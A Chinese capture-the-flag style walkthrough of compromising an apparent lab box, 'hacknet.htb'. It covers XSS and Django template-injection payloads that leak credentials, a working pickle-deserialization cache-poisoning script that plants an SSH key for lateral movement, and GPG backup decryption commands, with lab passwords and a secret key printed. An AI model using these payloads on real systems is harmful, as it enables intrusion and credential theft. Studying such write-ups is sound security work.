记一次外网打点到Pickle 反序列化获取内网权限的过程
外网打点:端口探测使用nmap进行端口探测发现存在22,80端口存活配置host文件之后,访问80端口,发现存在web页面web页面渗透测试测试功能,发现是一个聊天软件注册用户admin1@qq.com/admin1@qq.com发现存在点赞功能和评论功能漏洞入口XSS漏洞使用burp抓包尝试,发现存在·xss漏洞点击帖子上的“点赞”按钮后,界面会立即显示已点赞的用户列表。该列表会动态变化——每次
外网打点:
端口探测
使用nmap进行端口探测

发现存在22,80端口存活

配置host文件之后,访问80端口,发现存在web页面
web页面

渗透测试
测试功能,发现是一个聊天软件

注册用户
admin1@qq.com/admin1@qq.com

发现存在点赞功能和评论功能

漏洞入口
XSS漏洞

使用burp抓包尝试,发现存在·xss漏洞


点击帖子上的“点赞”按钮后,界面会立即显示已点赞的用户列表。该列表会动态变化——每次点击心形图标都会实时切换状态。显然,底层有客户端脚本(很可能是 JavaScript)在执行异步数据获取操作。


发现xss-payload成功解析。

SSTI漏洞
测试payload,发现存在模板注入
{{7*7}}
${7*7}
<% 7*7 %>
[[7*7]]

获取用户信息
构造payload获取泄露的用户名和密码
{{ users.0.email }}
{{ users.0.password }}
<div class="likes-review-item">
<a href="/profile/27">
<img src="/media/test.jpg" title="hexhunter@ciphermail.com">
</a>
</div>
<div class="likes-review-item">
<a href="/profile/27">
<img src="/media/test.jpg" title="H3xHunt3r!">
</a>
</div>SSH登录
使用获取到的用户和密码进行登录
hexhunter@ciphermail.com
H3xHunt3r!

内网渗透
ssh连接之后,然后接着进行内网信息收集

路径分析
当前用户:mikey(已有 shell)
目标用户:sandy(权限可能更高)
服务:
公开:SSH (22)、Apache (80)
本地:MySQL (3306,仅限 127.0.0.1)
敏感数据:/var/www/HackNet/backups/ 下有三个 sandy 拥有的 .sql.gpg 加密数据库备份。
关键突破口:tcpdump 具有 cap_net_raw+eip 权限,可非 root 抓包——能监听本地流量,窃取 MySQL 登录凭证或 HTTP 认证信息,助力提权或解密。



获取配置信息
成功翻到数据库账号密码

数据库权限



Pickle 反序列化
一个通用的 Pickling 漏洞利用框架:
import pickle
import os
class Evil:
def __reduce__(self):
return (os.system, ("id",))
payload = pickle.dumps(Evil())
利用原理
Pickle 在反序列化时会调用对象的 reduce() 方法。通过自定义该方法,我们可劫持重构过程,执行任意命令(如 os.system 或 subprocess.Popen)。
漏洞利用
访问 /explore 或 /search 会生成新的缓存文件(位于 /var/tmp/django_cache)。这些缓存每 60 秒过期并重新生成——我们只需在刷新前替换文件,即可触发恶意 payload。
from pathlib import Path
import os
BASE_DIR = Path(__file__).resolve().parent.parent
SECRET_KEY = 'agyasdf&^F&ADf87AF*Df9A5D^AS%D6DflglLADIuhldfa7w'
DEBUG = False
ALLOWED_HOSTS = ['hacknet.htb']
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'SocialNetwork'
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'HackNet.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'HackNet.wsgi.application'
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'hacknet',
'USER': 'sandy',
'PASSWORD': 'h@ckn3tDBpa$$',
'HOST':'localhost',
'PORT':'3306',
}
}
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
'LOCATION': '/var/tmp/django_cache',
'TIMEOUT': 60,
'OPTIONS': {'MAX_ENTRIES': 1000},
}
}
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
SESSION_ENGINE = 'django.contrib.sessions.backends.db'
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
STATICFILES_STORAGE = 'django.contrib.staticfiles.storage.StaticFilesStorage'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
STATIC_URL = '/static/'
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
MEDIA_URL = '/media/'
DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'漏洞存在于以下likes函数中SocialNetwork/views.py:
def likes(request, pk):
if not "email" in request.session.keys():
return redirect("index")
session_user = get_object_or_404(SocialUser, email=request.session['email'])
post = get_object_or_404(SocialArticle,pk=pk)
users = post.likes.all()
engine = engines["django"]
template_string = ""
context = {"users": users}
for user in users:
if not user.is_hidden or user == session_user:
template_string += "<div class=\"likes-review-item\"><a href=\"/profile/"+str(user.pk)+"\"><img src=\""+user.picture.url+"\
" title=\""+user.username+"\"></a></div>"
try:
template = engine.from_string(template_string)
except:
template = engine.from_string("<div class=\"likes-review-item\"><a>Something went wrong...</a></div>")
return HttpResponse(template.render(context, request))发现带有cache_page的路由explore:
@cache_page(60)
def explore(request):
if not "email" in request.session.keys():
return redirect("index")
session_user = get_object_or_404(SocialUser, email=request.session['email'])
page_size = 10
keyword = ""
if "keyword" in request.GET.keys():
keyword = request.GET['keyword']
posts = SocialArticle.objects.filter(text__contains=keyword).order_by("-date")
else:
posts = SocialArticle.objects.all().order_by("-date")
pages = ceil(len(posts) / page_size)
if "page" in request.GET.keys() and int(request.GET['page']) > 0:
post_start = int(request.GET['page'])*page_size-page_size
post_end = post_start + page_size
posts_slice = posts[post_start:post_end]
else:
posts_slice = posts[:page_size]
news = get_news()
request.session['requests'] = session_user.contact_requests
request.session['messages'] = session_user.unread_messages
for post_item in posts:
if session_user in post_item.likes.all():
post_item.is_like = True
posts_filtered = []
for post in posts_slice:
if not post.author.is_hidden or post.author == session_user:
posts_filtered.append(post)
for like in post.likes.all():
if like.is_hidden and like != session_user:
post.likes_number -= 1
context = {"pages": pages, "posts": posts_filtered, "keyword": keyword, "news": news, "session_user": session_user}
return render(request, "SocialNetwork/explore.html", context)这是 Django 的一项功能,允许缓存页面。相关设置位于HackNet/settings.py:
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
'LOCATION': '/var/tmp/django_cache',
'TIMEOUT': 60,
'OPTIONS': {'MAX_ENTRIES': 1000},
}
}这将在系统中建立基于文件的缓存
ssh-keygen -t ed111 -f ./skey -N ""构造payload
#!/usr/bin/env python3
import pickle
import subprocess
from pathlib import Path
class Exploit:
def __reduce__(self):
return (subprocess.Popen, (["/bin/bash", "-c", "mkdir -p /home/sandy/.ssh; echo -e '\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing\n' >> /home/sandy/.ssh/authorized_keys"],))
payload = pickle.dumps(Exploit())
for f in Path('/var/tmp/django_cache').iterdir():
if f.is_file() and f.suffix == ".djcache":
f.rename(f"{f}.bk")
f.write_bytes(payload)
print(f"Poisoned {f}")

漏洞利用
访问/explore触发漏洞

生成SSH私钥。

ssh登录
获取sandy权限.

权限提升
GPG滥用
.gnupg最引人注目的是一本完整的通讯录:


整个密钥环——撤销证书、信任数据库、密钥存根,以及最关键的加固私钥导出文件。
gpg --list-keys --keyid-format LONG
/home/sandy/.gnupg/pubring.kbx
------------------------------
pub rsa1024/D72E5C1FA19C12F7 2024-12-29 [SC]
21395E17872E64F474BF80F1D72E5C1FA19C12F7
uid [ultimate] Sandy (My key for backups) <sandy@hacknet.htb>
sub rsa1024/FC53AFB0D6355F16 2024-12-29 [E]

输入sweetheart,成功获取备份文件
gpg2john
解密需要私钥及其口令
gpg --import ~/.gnupg/private-keys-v1.d/armored_key.asc # if not imported yet
PASS='sweetheart'
for f in /var/www/HackNet/backups/*.gpg; do
gpg --batch --yes --pinentry-mode loopback \
--passphrase "sweetheart" -o "/tmp/$(basename $f .gpg)" -d "$f"
done
备份转储
grep'pass'/tmp/backup*.sql

获取root权限

外网探测发现Web聊天应用,利用XSS与SSTI漏洞获取凭证,SSH登录后通过tcpdump+Pickle反序列化提权至sandy,再借GPG私钥解密备份获取root权限。
由 AI 根据全文自动生成,仅供参考,以原文为准